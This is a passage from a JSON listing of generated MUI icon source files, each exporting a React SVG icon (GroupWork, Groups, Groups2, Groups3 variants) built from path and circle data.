    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8m6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'GroupWorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M8 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4-6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"14\",\n  r: \"2\"\n}, \"4\")], 'GroupWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupWorkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8M8 16c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4-6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m4 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"14\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"8\",\n  r: \"2\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"14\",\n  r: \"2\"\n}, \"4\")], 'GroupWorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V18H6v-1.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'Groups');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V18H6v-1.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'Groups');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m.79-3.21c.08-.46.47-.79.94-.79s.86.33.94.79l.2 1.21h-2.28zm-9.4 2.32c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m.79-3.21c.08-.46.47-.79.94-.79s.86.33.94.79l.2 1.21h-2.28zm-9.4 2.32c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V17c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V17c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m-8.61-.89c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}), 'Groups2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.43 15.48c-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.49.52h7.85c-.1-.23-.27-.42-.5-.52m-2.49-6.69C12.86 8.33 12.47 8 12 8s-.86.33-.94.79l-.2 1.21h2.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m.79-3.21c.08-.46.47-.79.94-.79s.86.33.94.79l.2 1.21h-2.28zm-9.4 2.32c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}, \"1\")], 'Groups2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.43 15.48c-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.49.52h7.85c-.1-.23-.27-.42-.5-.52m-2.49-6.69C12.86 8.33 12.47 8 12 8s-.86.33-.94.79l-.2 1.21h2.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.27 12h3.46c.93 0 1.63-.83 1.48-1.75l-.3-1.79C14.67 7.04 13.44 6 12 6S9.33 7.04 9.09 8.47l-.3 1.79c-.15.91.55 1.74 1.48 1.74m.79-3.21c.08-.46.47-.79.94-.79s.86.33.94.79l.2 1.21h-2.28zm-9.4 2.32c-.13.26-.18.57-.1.88.16.69.76 1.03 1.53 1h1.95c.83 0 1.51-.58 1.51-1.29 0-.14-.03-.27-.07-.4-.01-.03-.01-.05.01-.08.09-.16.14-.34.14-.53 0-.31-.14-.6-.36-.82-.03-.03-.03-.06-.02-.1.07-.2.07-.43.01-.65-.16-.43-.55-.72-.99-.74-.03 0-.05-.01-.07-.03-.17-.21-.48-.35-.83-.35-.3 0-.57.1-.75.26-.03.03-.06.03-.09.02-.14-.06-.3-.09-.46-.09-.65 0-1.18.49-1.24 1.12q0 .03-.03.06c-.29.26-.46.65-.41 1.05.03.22.12.43.25.6.03.02.03.06.02.09m14.58 2.54c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M22 11v-.5c0-1.1-.9-2-2-2h-2c-.42 0-.65.48-.39.81l.7.63c-.19.31-.31.67-.31 1.06 0 1.1.9 2 2 2s2-.9 2-2\"\n}, \"1\")], 'Groups2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 